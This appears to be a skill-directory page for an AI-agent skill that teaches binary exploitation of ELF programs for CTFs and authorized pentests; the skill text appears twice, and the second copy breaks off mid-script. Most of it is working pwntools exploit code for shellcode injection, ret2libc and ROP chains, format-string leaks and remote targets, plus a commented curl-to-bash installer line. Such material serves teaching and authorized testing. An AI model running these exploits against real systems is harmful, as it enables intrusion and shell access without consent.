[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7B8953M6153J58D9CVWCSRG":3,"skill-same:01M7B8953M6153J58D9CVWCSRG":78},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":15,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":42,"commitSha":43,"skillDirectory":44,"forksCount":13,"repositoryHtmlUrl":45,"repositoryHomepageUrl":6,"ownerHtmlUrl":46,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":47,"install":48,"resources":61},"01M7B8953M6153J58D9CVWCSRG","performing-binary-exploitation-analysis",null,"Analyze ELF binaries for memory-corruption vulnerabilities and build proof-of-concept exploits using pwntools, checksec, and ROPgadget for buffer overflows and ROP chains. Use when a penetration test or CTF challenge requires evaluating compiler mitigations (NX, ASLR, stack canaries, PIE, RELRO) or developing a working exploit to demonstrate impact.","vikasvardhanv\u002Fjerry_skills","vikasvardhanv","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F99010657?v=4","01M7B2B0VN78W7529RQX5BR6DZ","01M7B2B0WDNTXJHRK3QNPNWRP6",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-binary-exploitation-analysis\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-binary-exploitation-analysis\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: performing-binary-exploitation-analysis\ndescription: 'Analyze ELF binaries for memory-corruption vulnerabilities and build proof-of-concept\n  exploits using pwntools, checksec, and ROPgadget for buffer overflows and ROP chains. Use\n  when a penetration test or CTF challenge requires evaluating compiler mitigations (NX, ASLR,\n  stack canaries, PIE, RELRO) or developing a working exploit to demonstrate impact.\n\n  '\ndomain: cybersecurity\nsubdomain: offensive-security\ntags:\n- binary-exploitation\n- pwntools\n- rop-chains\n- buffer-overflow\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- ID.RA-01\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1078\n- T1190\n- T1059\n---\n\n# Performing Binary Exploitation Analysis\n\n**For authorized security testing and CTF challenges only.**\n\nAnalyze ELF binaries for exploitation vectors using checksec, ROPgadget,\nand pwntools for buffer overflow and ROP chain development.\n\n## When to Use\n\n- Analyzing ELF binaries during authorized penetration tests to identify memory corruption vulnerabilities\n- Solving binary exploitation challenges in CTF competitions\n- Evaluating the effectiveness of compiler mitigations (NX, ASLR, stack canaries, PIE, RELRO) on target binaries\n- Developing proof-of-concept exploits for vulnerability reports to demonstrate impact\n- Training security engineers in exploit development techniques for defensive awareness\n- Validating that security patches for buffer overflow vulnerabilities are effective\n\n**Do not use** against systems without explicit written authorization. Binary exploitation techniques can cause system instability and must only be applied in controlled environments (lab VMs, CTF platforms, authorized pentests with scope documents).\n\n## Prerequisites\n\n- Linux system (Ubuntu\u002FDebian recommended) for exploit development\n- Python 3.8+ with `pwntools` (`pip install pwntools`)\n- GDB with `pwndbg` or `GEF` plugin for enhanced debugging\n- `ROPgadget` for ROP chain gadget discovery (`pip install ROPgadget`)\n- `checksec` (included with pwntools or standalone via `apt install checksec`)\n- Target vulnerable binary compiled for testing (e.g., from pwnable.kr, ROP Emporium, or custom test binaries)\n- Basic understanding of x86\u002Fx86_64 calling conventions and stack layout\n\n## Workflow\n\n### Step 1: Install the Exploitation Toolkit\n\n```bash\n# Install pwntools and dependencies\npip install pwntools ROPgadget\n\n# Install GDB with pwndbg plugin\ngit clone https:\u002F\u002Fgithub.com\u002Fpwndbg\u002Fpwndbg\ncd pwndbg && .\u002Fsetup.sh\n\n# Alternatively, install GEF (GDB Enhanced Features)\n# bash -c \"$(curl -fsSL https:\u002F\u002Fgef.blah.cat\u002Fsh)\"\n\n# Install supporting tools\nsudo apt install -y gdb nasm gcc-multilib libc6-dbg\n\n# Verify installation\npython3 -c \"from pwn import *; print('pwntools version:', version)\"\nchecksec --version\nROPgadget --version\n```\n\n### Step 2: Analyze Binary Protections with checksec\n\nBefore writing any exploit, enumerate the security mitigations compiled into the binary:\n\n```python\nfrom pwn import *\n\n# Load the target binary\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\n\n# checksec output explains what mitigations are in place\nprint(f\"Architecture: {elf.arch}\")\nprint(f\"Bits: {elf.bits}\")\nprint(f\"Endianness: {elf.endian}\")\nprint()\n\n# Key security properties\n# RELRO: Full = GOT is read-only, Partial = GOT header read-only, No = writable GOT\n# Stack Canary: Detects stack buffer overflows via random canary value\n# NX (No-eXecute): Prevents executing code on the stack (DEP)\n# PIE: Position Independent Executable, randomizes base address\n# ASLR: OS-level address randomization (check \u002Fproc\u002Fsys\u002Fkernel\u002Frandomize_va_space)\n\n# Also available via command line:\n# checksec --file=.\u002Fvulnerable_server\n```\n\n```bash\n# Command-line checksec output example:\nchecksec --file=.\u002Fvulnerable_server\n# RELRO           STACK CANARY      NX            PIE\n# Partial RELRO   No canary found   NX disabled   No PIE\n\n# Check ASLR status on the system\ncat \u002Fproc\u002Fsys\u002Fkernel\u002Frandomize_va_space\n# 0 = disabled, 1 = conservative, 2 = full randomization\n```\n\n### Step 3: Find the Buffer Overflow Offset\n\nDetermine exactly how many bytes are needed to overwrite the return address:\n\n```python\nfrom pwn import *\n\ncontext.binary = ELF(\".\u002Fvulnerable_server\")\ncontext.log_level = \"info\"\n\n# Method 1: Use cyclic pattern to find exact offset\n# Generate a unique cyclic pattern\npattern_length = 200\npattern = cyclic(pattern_length)\nprint(f\"Generated cyclic pattern of length {pattern_length}\")\n\n# Send the pattern to the binary\np = process(\".\u002Fvulnerable_server\")\np.sendline(pattern)\np.wait()\n\n# After the crash, read the value in RIP\u002FEIP from core dump or GDB\n# Then find the offset:\n# For 64-bit: crashed_value = p.corefile.fault_addr\n# Or manually from GDB: \"info registers rip\" after crash\ncrashed_rip = 0x6161616c  # Example value from crash\noffset = cyclic_find(crashed_rip)\nprint(f\"Offset to return address: {offset} bytes\")\n\n# Method 2: Use GDB with pwndbg to find offset interactively\n# In GDB:\n#   pwndbg> cyclic 200\n#   pwndbg> run \u003C \u003C(python3 -c \"from pwn import *; print(cyclic(200).decode())\")\n#   pwndbg> cyclic -l $rsp   (or cyclic -l \u003Cvalue in RIP>)\n```\n\n### Step 4: Exploit a Stack Buffer Overflow (NX Disabled)\n\nWhen NX is disabled, inject and execute shellcode directly on the stack:\n\n```python\nfrom pwn import *\n\n# Configuration\nbinary_path = \".\u002Fvulnerable_server\"\ncontext.binary = ELF(binary_path)\ncontext.arch = \"amd64\"  # or \"i386\" for 32-bit\n\nOFFSET = 72  # Determined in Step 3\n\n# Generate shellcode\n# execve(\"\u002Fbin\u002Fsh\", NULL, NULL) - spawn a shell\nshellcode = asm(shellcraft.sh())\nprint(f\"Shellcode length: {len(shellcode)} bytes\")\n\n# Build the exploit payload\n# Layout: [NOP sled] [shellcode] [padding] [return address -> NOP sled]\nnop_sled = asm(\"nop\") * 32\n\n# For a local exploit without ASLR, we can estimate the buffer address\n# Run in GDB first to find the buffer address:\n#   break *main+XX  (after read\u002Fgets call)\n#   x\u002F20x $rsp\nbuffer_addr = 0x7fffffffe000  # Example - get from GDB\n\npadding_len = OFFSET - len(nop_sled) - len(shellcode)\npayload = nop_sled + shellcode + b\"A\" * padding_len + p64(buffer_addr)\n\n# Launch exploit\np = process(binary_path)\np.sendline(payload)\np.interactive()  # Interact with the spawned shell\n```\n\n### Step 5: Build a ROP Chain (NX Enabled)\n\nWhen NX prevents stack code execution, chain existing code gadgets (Return-Oriented Programming):\n\n```bash\n# Find ROP gadgets in the binary\nROPgadget --binary .\u002Fvulnerable_server\n\n# Find specific gadgets\nROPgadget --binary .\u002Fvulnerable_server --only \"pop|ret\"\nROPgadget --binary .\u002Fvulnerable_server --only \"mov|ret\"\n\n# Search for gadgets to control registers for syscall\nROPgadget --binary .\u002Fvulnerable_server | grep \"pop rdi\"\nROPgadget --binary .\u002Fvulnerable_server | grep \"pop rsi\"\nROPgadget --binary .\u002Fvulnerable_server | grep \"pop rdx\"\nROPgadget --binary .\u002Fvulnerable_server | grep \"syscall\"\n\n# Find gadgets in libc (for ret2libc attacks)\nROPgadget --binary \u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6 --only \"pop|ret\" | head -20\n```\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\ncontext.binary = elf\n\nOFFSET = 72\n\n# Method 1: ret2libc - call system(\"\u002Fbin\u002Fsh\") via libc\n# When the binary is dynamically linked and we know libc version\nlibc = ELF(\"\u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6\")\n\n# Start process to leak libc address\np = process(binary_path)\n\n# If there is a format string or info leak, use it to find libc base\n# Example: binary prints puts@GOT address\np.recvuntil(b\"puts address: \")\nputs_leak = int(p.recvline().strip(), 16)\nlibc.address = puts_leak - libc.symbols[\"puts\"]\nlog.success(f\"libc base: {hex(libc.address)}\")\n\n# Find a \"pop rdi; ret\" gadget for x86_64 calling convention\n# First argument goes in RDI register\npop_rdi = elf.search(asm(\"pop rdi; ret\")).__next__()\nret_gadget = elf.search(asm(\"ret\")).__next__()  # Stack alignment\n\n# Build the ROP chain: system(\"\u002Fbin\u002Fsh\")\nbin_sh_addr = next(libc.search(b\"\u002Fbin\u002Fsh\\x00\"))\nsystem_addr = libc.symbols[\"system\"]\n\nrop_chain = flat(\n    b\"A\" * OFFSET,          # Padding to reach return address\n    ret_gadget,              # Stack alignment (needed for movaps in system)\n    pop_rdi,                 # pop rdi; ret - load \u002Fbin\u002Fsh address into RDI\n    bin_sh_addr,             # Address of \"\u002Fbin\u002Fsh\" string in libc\n    system_addr,             # Call system()\n)\n\np.sendline(rop_chain)\np.interactive()\n```\n\n### Step 6: Use pwntools ROP Helper for Automated Chain Building\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\ncontext.binary = elf\n\nOFFSET = 72\n\n# pwntools automatic ROP chain builder\nrop = ROP(elf)\n\n# If the binary has enough gadgets, pwntools can build chains automatically\n# For execve(\"\u002Fbin\u002Fsh\", 0, 0) syscall:\nrop.call(\"puts\", [elf.got[\"puts\"]])  # Leak GOT entry\nrop.call(elf.symbols[\"main\"])        # Return to main for second stage\n\n# Print the ROP chain for debugging\nprint(rop.dump())\n\n# Build first-stage payload (leak libc)\nstage1 = flat(\n    b\"A\" * OFFSET,\n    rop.chain()\n)\n\np = process(binary_path)\np.sendline(stage1)\n\n# Parse the leaked puts address\np.recvuntil(b\"\\n\")  # Skip program output\nleaked_puts = u64(p.recvline().strip().ljust(8, b\"\\x00\"))\nlog.success(f\"Leaked puts@GOT: {hex(leaked_puts)}\")\n\n# Calculate libc base\nlibc = ELF(\"\u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6\")\nlibc.address = leaked_puts - libc.symbols[\"puts\"]\nlog.success(f\"libc base: {hex(libc.address)}\")\n\n# Build second-stage ROP chain using libc gadgets\nrop2 = ROP(libc)\nrop2.call(\"execve\", [next(libc.search(b\"\u002Fbin\u002Fsh\\x00\")), 0, 0])\n\nstage2 = flat(\n    b\"A\" * OFFSET,\n    rop2.chain()\n)\n\np.sendline(stage2)\np.interactive()\n```\n\n### Step 7: Debug Exploits with GDB and pwndbg\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\ncontext.binary = elf\ncontext.terminal = [\"tmux\", \"splitw\", \"-h\"]  # or [\"gnome-terminal\", \"--\"]\n\n# Launch binary under GDB with pwndbg\np = gdb.debug(binary_path, \"\"\"\n    # Set breakpoints at key locations\n    break *main\n    break *main+85\n\n    # Continue to the vulnerable function\n    continue\n\"\"\")\n\n# GDB commands useful during exploit development:\n# pwndbg> vmmap              - Show memory mappings (find stack, heap, libc)\n# pwndbg> checksec           - Show binary protections\n# pwndbg> search -s \"\u002Fbin\u002Fsh\" - Find string in memory\n# pwndbg> rop --grep \"pop rdi\" - Search for gadgets\n# pwndbg> cyclic 200         - Generate cyclic pattern\n# pwndbg> cyclic -l 0x616161 - Find offset from pattern value\n# pwndbg> telescope $rsp 20  - Show stack contents\n# pwndbg> x\u002F20gx $rsp        - Examine stack as 64-bit values\n# pwndbg> heap               - Analyze heap state\n# pwndbg> got                 - Show GOT entries and resolved addresses\n# pwndbg> plt                 - Show PLT entries\n\nOFFSET = 72\npayload = b\"A\" * OFFSET + p64(0xdeadbeef)\np.sendline(payload)\np.interactive()\n```\n\n### Step 8: Handle PIE and ASLR with Information Leaks\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_pie_binary\"\nelf = ELF(binary_path)\ncontext.binary = elf\n\n# When PIE is enabled, we need to leak a code address to defeat randomization\n# Common leak techniques:\n# 1. Format string vulnerability: %p to leak stack\u002Fcode pointers\n# 2. Partial overwrite: overwrite only lower bytes of a pointer\n# 3. Uninitialized memory: read stack memory containing code pointers\n\np = process(binary_path)\n\n# Example: Using a format string leak to defeat PIE\n# If the binary has a printf(user_input) vulnerability:\np.sendline(b\"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p\")\nleak_output = p.recvline().strip().decode()\nleaked_addrs = leak_output.split(\".\")\n\n# Parse leaked addresses to find a code pointer\nfor i, addr in enumerate(leaked_addrs):\n    try:\n        val = int(addr, 16)\n        # PIE binaries typically load at 0x55XXXXXXXXXX on 64-bit\n        if 0x550000000000 \u003C= val \u003C= 0x560000000000:\n            log.info(f\"Offset {i}: {addr} (likely PIE code address)\")\n        # libc addresses typically at 0x7fXXXXXXXXXX\n        elif 0x7f0000000000 \u003C= val \u003C= 0x800000000000:\n            log.info(f\"Offset {i}: {addr} (likely libc address)\")\n    except ValueError:\n        continue\n\n# Once we have a leaked PIE address, calculate the binary base\nleaked_code_addr = int(leaked_addrs[5], 16)  # Example offset\nelf.address = leaked_code_addr - elf.symbols[\"main\"]  # Adjust for known offset\nlog.success(f\"PIE base: {hex(elf.address)}\")\n\n# Now we can use absolute addresses in our ROP chain\nrop = ROP(elf)\n# ... build chain using elf.symbols which are now correctly rebased\n```\n\n### Step 9: Exploit a Remote Target\n\n```python\nfrom pwn import *\n\n# Configuration\nREMOTE_HOST = \"target.ctf.example.com\"\nREMOTE_PORT = 9001\nbinary_path = \".\u002Fvulnerable_server\"\n\nelf = ELF(binary_path)\ncontext.binary = elf\n\ndef exploit(target):\n    \"\"\"Run the full exploit chain against a target (local or remote).\"\"\"\n    OFFSET = 72\n\n    # Stage 1: Leak libc\n    rop1 = ROP(elf)\n    rop1.call(\"puts\", [elf.got[\"puts\"]])\n    rop1.call(elf.symbols[\"main\"])\n\n    payload1 = flat(b\"A\" * OFFSET, rop1.chain())\n    target.sendlineafter(b\"Input: \", payload1)\n\n    leaked = u64(target.recvline().strip().ljust(8, b\"\\x00\"))\n    log.success(f\"Leaked puts: {hex(leaked)}\")\n\n    # Stage 2: ret2libc\n    libc = ELF(\"\u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6\")\n    libc.address = leaked - libc.symbols[\"puts\"]\n\n    rop2 = ROP(libc)\n    rop2.call(\"execve\", [next(libc.search(b\"\u002Fbin\u002Fsh\\x00\")), 0, 0])\n\n    payload2 = flat(b\"A\" * OFFSET, rop2.chain())\n    target.sendlineafter(b\"Input: \", payload2)\n\n    target.interactive()\n\n# Test locally first\nlog.info(\"Testing exploit locally...\")\nlocal = process(binary_path)\nexploit(local)\n\n# Then run against remote target\n# log.info(\"Running exploit against remote target...\")\n# remote = remote(REMOTE_HOST, REMOTE_PORT)\n# exploit(remote)\n```\n\n## Verification\n\n- Confirm `checksec` correctly identifies all binary mitigations (NX, canary, PIE, RELRO) and results match manual inspection\n- Verify the cyclic pattern offset finder produces the correct offset by setting a breakpoint at the `ret` instruction and confirming RIP\u002FEIP contains the expected cyclic value\n- Test shellcode payloads execute correctly in a controlled environment with NX disabled\n- Validate ROP chains by single-stepping through gadgets in GDB to confirm register values are set correctly before the final syscall\u002Ffunction call\n- Confirm the exploit works both locally (`process()`) and against a remote target (`remote()`) when the correct libc version is used\n- Verify that PIE bypass correctly rebases all addresses by checking GDB `vmmap` output against calculated addresses\n- Test that the exploit fails gracefully when mitigations are re-enabled (confirms the exploit targets the correct weakness)\n- Run `ROPgadget` output through a deduplication filter to confirm all referenced gadgets exist at the specified offsets in the target binary\n","# Performing Binary Exploitation Analysis\n\n**For authorized security testing and CTF challenges only.**\n\nAnalyze ELF binaries for exploitation vectors using checksec, ROPgadget,\nand pwntools for buffer overflow and ROP chain development.\n\n## When to Use\n\n- Analyzing ELF binaries during authorized penetration tests to identify memory corruption vulnerabilities\n- Solving binary exploitation challenges in CTF competitions\n- Evaluating the effectiveness of compiler mitigations (NX, ASLR, stack canaries, PIE, RELRO) on target binaries\n- Developing proof-of-concept exploits for vulnerability reports to demonstrate impact\n- Training security engineers in exploit development techniques for defensive awareness\n- Validating that security patches for buffer overflow vulnerabilities are effective\n\n**Do not use** against systems without explicit written authorization. Binary exploitation techniques can cause system instability and must only be applied in controlled environments (lab VMs, CTF platforms, authorized pentests with scope documents).\n\n## Prerequisites\n\n- Linux system (Ubuntu\u002FDebian recommended) for exploit development\n- Python 3.8+ with `pwntools` (`pip install pwntools`)\n- GDB with `pwndbg` or `GEF` plugin for enhanced debugging\n- `ROPgadget` for ROP chain gadget discovery (`pip install ROPgadget`)\n- `checksec` (included with pwntools or standalone via `apt install checksec`)\n- Target vulnerable binary compiled for testing (e.g., from pwnable.kr, ROP Emporium, or custom test binaries)\n- Basic understanding of x86\u002Fx86_64 calling conventions and stack layout\n\n## Workflow\n\n### Step 1: Install the Exploitation Toolkit\n\n```bash\n# Install pwntools and dependencies\npip install pwntools ROPgadget\n\n# Install GDB with pwndbg plugin\ngit clone https:\u002F\u002Fgithub.com\u002Fpwndbg\u002Fpwndbg\ncd pwndbg && .\u002Fsetup.sh\n\n# Alternatively, install GEF (GDB Enhanced Features)\n# bash -c \"$(curl -fsSL https:\u002F\u002Fgef.blah.cat\u002Fsh)\"\n\n# Install supporting tools\nsudo apt install -y gdb nasm gcc-multilib libc6-dbg\n\n# Verify installation\npython3 -c \"from pwn import *; print('pwntools version:', version)\"\nchecksec --version\nROPgadget --version\n```\n\n### Step 2: Analyze Binary Protections with checksec\n\nBefore writing any exploit, enumerate the security mitigations compiled into the binary:\n\n```python\nfrom pwn import *\n\n# Load the target binary\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\n\n# checksec output explains what mitigations are in place\nprint(f\"Architecture: {elf.arch}\")\nprint(f\"Bits: {elf.bits}\")\nprint(f\"Endianness: {elf.endian}\")\nprint()\n\n# Key security properties\n# RELRO: Full = GOT is read-only, Partial = GOT header read-only, No = writable GOT\n# Stack Canary: Detects stack buffer overflows via random canary value\n# NX (No-eXecute): Prevents executing code on the stack (DEP)\n# PIE: Position Independent Executable, randomizes base address\n# ASLR: OS-level address randomization (check \u002Fproc\u002Fsys\u002Fkernel\u002Frandomize_va_space)\n\n# Also available via command line:\n# checksec --file=.\u002Fvulnerable_server\n```\n\n```bash\n# Command-line checksec output example:\nchecksec --file=.\u002Fvulnerable_server\n# RELRO           STACK CANARY      NX            PIE\n# Partial RELRO   No canary found   NX disabled   No PIE\n\n# Check ASLR status on the system\ncat \u002Fproc\u002Fsys\u002Fkernel\u002Frandomize_va_space\n# 0 = disabled, 1 = conservative, 2 = full randomization\n```\n\n### Step 3: Find the Buffer Overflow Offset\n\nDetermine exactly how many bytes are needed to overwrite the return address:\n\n```python\nfrom pwn import *\n\ncontext.binary = ELF(\".\u002Fvulnerable_server\")\ncontext.log_level = \"info\"\n\n# Method 1: Use cyclic pattern to find exact offset\n# Generate a unique cyclic pattern\npattern_length = 200\npattern = cyclic(pattern_length)\nprint(f\"Generated cyclic pattern of length {pattern_length}\")\n\n# Send the pattern to the binary\np = process(\".\u002Fvulnerable_server\")\np.sendline(pattern)\np.wait()\n\n# After the crash, read the value in RIP\u002FEIP from core dump or GDB\n# Then find the offset:\n# For 64-bit: crashed_value = p.corefile.fault_addr\n# Or manually from GDB: \"info registers rip\" after crash\ncrashed_rip = 0x6161616c  # Example value from crash\noffset = cyclic_find(crashed_rip)\nprint(f\"Offset to return address: {offset} bytes\")\n\n# Method 2: Use GDB with pwndbg to find offset interactively\n# In GDB:\n#   pwndbg> cyclic 200\n#   pwndbg> run \u003C \u003C(python3 -c \"from pwn import *; print(cyclic(200).decode())\")\n#   pwndbg> cyclic -l $rsp   (or cyclic -l \u003Cvalue in RIP>)\n```\n\n### Step 4: Exploit a Stack Buffer Overflow (NX Disabled)\n\nWhen NX is disabled, inject and execute shellcode directly on the stack:\n\n```python\nfrom pwn import *\n\n# Configuration\nbinary_path = \".\u002Fvulnerable_server\"\ncontext.binary = ELF(binary_path)\ncontext.arch = \"amd64\"  # or \"i386\" for 32-bit\n\nOFFSET = 72  # Determined in Step 3\n\n# Generate shellcode\n# execve(\"\u002Fbin\u002Fsh\", NULL, NULL) - spawn a shell\nshellcode = asm(shellcraft.sh())\nprint(f\"Shellcode length: {len(shellcode)} bytes\")\n\n# Build the exploit payload\n# Layout: [NOP sled] [shellcode] [padding] [return address -> NOP sled]\nnop_sled = asm(\"nop\") * 32\n\n# For a local exploit without ASLR, we can estimate the buffer address\n# Run in GDB first to find the buffer address:\n#   break *main+XX  (after read\u002Fgets call)\n#   x\u002F20x $rsp\nbuffer_addr = 0x7fffffffe000  # Example - get from GDB\n\npadding_len = OFFSET - len(nop_sled) - len(shellcode)\npayload = nop_sled + shellcode + b\"A\" * padding_len + p64(buffer_addr)\n\n# Launch exploit\np = process(binary_path)\np.sendline(payload)\np.interactive()  # Interact with the spawned shell\n```\n\n### Step 5: Build a ROP Chain (NX Enabled)\n\nWhen NX prevents stack code execution, chain existing code gadgets (Return-Oriented Programming):\n\n```bash\n# Find ROP gadgets in the binary\nROPgadget --binary .\u002Fvulnerable_server\n\n# Find specific gadgets\nROPgadget --binary .\u002Fvulnerable_server --only \"pop|ret\"\nROPgadget --binary .\u002Fvulnerable_server --only \"mov|ret\"\n\n# Search for gadgets to control registers for syscall\nROPgadget --binary .\u002Fvulnerable_server | grep \"pop rdi\"\nROPgadget --binary .\u002Fvulnerable_server | grep \"pop rsi\"\nROPgadget --binary .\u002Fvulnerable_server | grep \"pop rdx\"\nROPgadget --binary .\u002Fvulnerable_server | grep \"syscall\"\n\n# Find gadgets in libc (for ret2libc attacks)\nROPgadget --binary \u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6 --only \"pop|ret\" | head -20\n```\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\ncontext.binary = elf\n\nOFFSET = 72\n\n# Method 1: ret2libc - call system(\"\u002Fbin\u002Fsh\") via libc\n# When the binary is dynamically linked and we know libc version\nlibc = ELF(\"\u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6\")\n\n# Start process to leak libc address\np = process(binary_path)\n\n# If there is a format string or info leak, use it to find libc base\n# Example: binary prints puts@GOT address\np.recvuntil(b\"puts address: \")\nputs_leak = int(p.recvline().strip(), 16)\nlibc.address = puts_leak - libc.symbols[\"puts\"]\nlog.success(f\"libc base: {hex(libc.address)}\")\n\n# Find a \"pop rdi; ret\" gadget for x86_64 calling convention\n# First argument goes in RDI register\npop_rdi = elf.search(asm(\"pop rdi; ret\")).__next__()\nret_gadget = elf.search(asm(\"ret\")).__next__()  # Stack alignment\n\n# Build the ROP chain: system(\"\u002Fbin\u002Fsh\")\nbin_sh_addr = next(libc.search(b\"\u002Fbin\u002Fsh\\x00\"))\nsystem_addr = libc.symbols[\"system\"]\n\nrop_chain = flat(\n    b\"A\" * OFFSET,          # Padding to reach return address\n    ret_gadget,              # Stack alignment (needed for movaps in system)\n    pop_rdi,                 # pop rdi; ret - load \u002Fbin\u002Fsh address into RDI\n    bin_sh_addr,             # Address of \"\u002Fbin\u002Fsh\" string in libc\n    system_addr,             # Call system()\n)\n\np.sendline(rop_chain)\np.interactive()\n```\n\n### Step 6: Use pwntools ROP Helper for Automated Chain Building\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\ncontext.binary = elf\n\nOFFSET = 72\n\n# pwntools automatic ROP chain builder\nrop = ROP(elf)\n\n# If the binary has enough gadgets, pwntools can build chains automatically\n# For execve(\"\u002Fbin\u002Fsh\", 0, 0) syscall:\nrop.call(\"puts\", [elf.got[\"puts\"]])  # Leak GOT entry\nrop.call(elf.symbols[\"main\"])        # Return to main for second stage\n\n# Print the ROP chain for debugging\nprint(rop.dump())\n\n# Build first-stage payload (leak libc)\nstage1 = flat(\n    b\"A\" * OFFSET,\n    rop.chain()\n)\n\np = process(binary_path)\np.sendline(stage1)\n\n# Parse the leaked puts address\np.recvuntil(b\"\\n\")  # Skip program output\nleaked_puts = u64(p.recvline().strip().ljust(8, b\"\\x00\"))\nlog.success(f\"Leaked puts@GOT: {hex(leaked_puts)}\")\n\n# Calculate libc base\nlibc = ELF(\"\u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6\")\nlibc.address = leaked_puts - libc.symbols[\"puts\"]\nlog.success(f\"libc base: {hex(libc.address)}\")\n\n# Build second-stage ROP chain using libc gadgets\nrop2 = ROP(libc)\nrop2.call(\"execve\", [next(libc.search(b\"\u002Fbin\u002Fsh\\x00\")), 0, 0])\n\nstage2 = flat(\n    b\"A\" * OFFSET,\n    rop2.chain()\n)\n\np.sendline(stage2)\np.interactive()\n```\n\n### Step 7: Debug Exploits with GDB and pwndbg\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\ncontext.binary = elf\ncontext.terminal = [\"tmux\", \"splitw\", \"-h\"]  # or [\"gnome-terminal\", \"--\"]\n\n# Launch binary under GDB with pwndbg\np = gdb.debug(binary_path, \"\"\"\n    # Set breakpoints at key locations\n    break *main\n    break *main+85\n\n    # Continue to the vulnerable function\n    continue\n\"\"\")\n\n# GDB commands useful during exploit development:\n# pwndbg> vmmap              - Show memory mappings (find stack, heap, libc)\n# pwndbg> checksec           - Show binary protections\n# pwndbg> search -s \"\u002Fbin\u002Fsh\" - Find string in memory\n# pwndbg> rop --grep \"pop rdi\" - Search for gadgets\n# pwndbg> cyclic 200         - Generate cyclic pattern\n# pwndbg> cyclic -l 0x616161 - Find offset from pattern value\n# pwndbg> telescope $rsp 20  - Show stack contents\n# pwndbg> x\u002F20gx $rsp        - Examine stack as 64-bit values\n# pwndbg> heap               - Analyze heap state\n# pwndbg> got                 - Show GOT entries and resolved addresses\n# pwndbg> plt                 - Show PLT entries\n\nOFFSET = 72\npayload = b\"A\" * OFFSET + p64(0xdeadbeef)\np.sendline(payload)\np.interactive()\n```\n\n### Step 8: Handle PIE and ASLR with Information Leaks\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_pie_binary\"\nelf = ELF(binary_path)\ncontext.binary = elf\n\n# When PIE is enabled, we need to leak a code address to defeat randomization\n# Common leak techniques:\n# 1. Format string vulnerability: %p to leak stack\u002Fcode pointers\n# 2. Partial overwrite: overwrite only lower bytes of a pointer\n# 3. Uninitialized memory: read stack memory containing code pointers\n\np = process(binary_path)\n\n# Example: Using a format string leak to defeat PIE\n# If the binary has a printf(user_input) vulnerability:\np.sendline(b\"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p\")\nleak_output = p.recvline().strip().decode()\nleaked_addrs = leak_output.split(\".\")\n\n# Parse leaked addresses to find a code pointer\nfor i, addr in enumerate(leaked_addrs):\n    try:\n        val = int(addr, 16)\n        # PIE binaries typically load at 0x55XXXXXXXXXX on 64-bit\n        if 0x550000000000 \u003C= val \u003C= 0x560000000000:\n            log.info(f\"Offset {i}: {addr} (likely PIE code address)\")\n        # libc addresses typically at 0x7fXXXXXXXXXX\n        elif 0x7f0000000000 \u003C= val \u003C= 0x800000000000:\n            log.info(f\"Offset {i}: {addr} (likely libc address)\")\n    except ValueError:\n        continue\n\n# Once we have a leaked PIE address, calculate the binary base\nleaked_code_addr = int(leaked_addrs[5], 16)  # Example offset\nelf.address = leaked_code_addr - elf.symbols[\"main\"]  # Adjust for known offset\nlog.success(f\"PIE base: {hex(elf.address)}\")\n\n# Now we can use absolute addresses in our ROP chain\nrop = ROP(elf)\n# ... build chain using elf.symbols which are now correctly rebased\n```\n\n### Step 9: Exploit a Remote Target\n\n```python\nfrom pwn import *\n\n# Configuration\nREMOTE_HOST = \"target.ctf.example.com\"\nREMOTE_PORT = 9001\nbinary_path = \".\u002Fvulnerable_server\"\n\nelf = ELF(binary_path)\ncontext.binary = elf\n\ndef exploit(target):\n    \"\"\"Run the full exploit chain against a target (local or remote).\"\"\"\n    OFFSET = 72\n\n    # Stage 1: Leak libc\n    rop1 = ROP(elf)\n    rop1.call(\"puts\", [elf.got[\"puts\"]])\n    rop1.call(elf.symbols[\"main\"])\n\n    payload1 = flat(b\"A\" * OFFSET, rop1.chain())\n    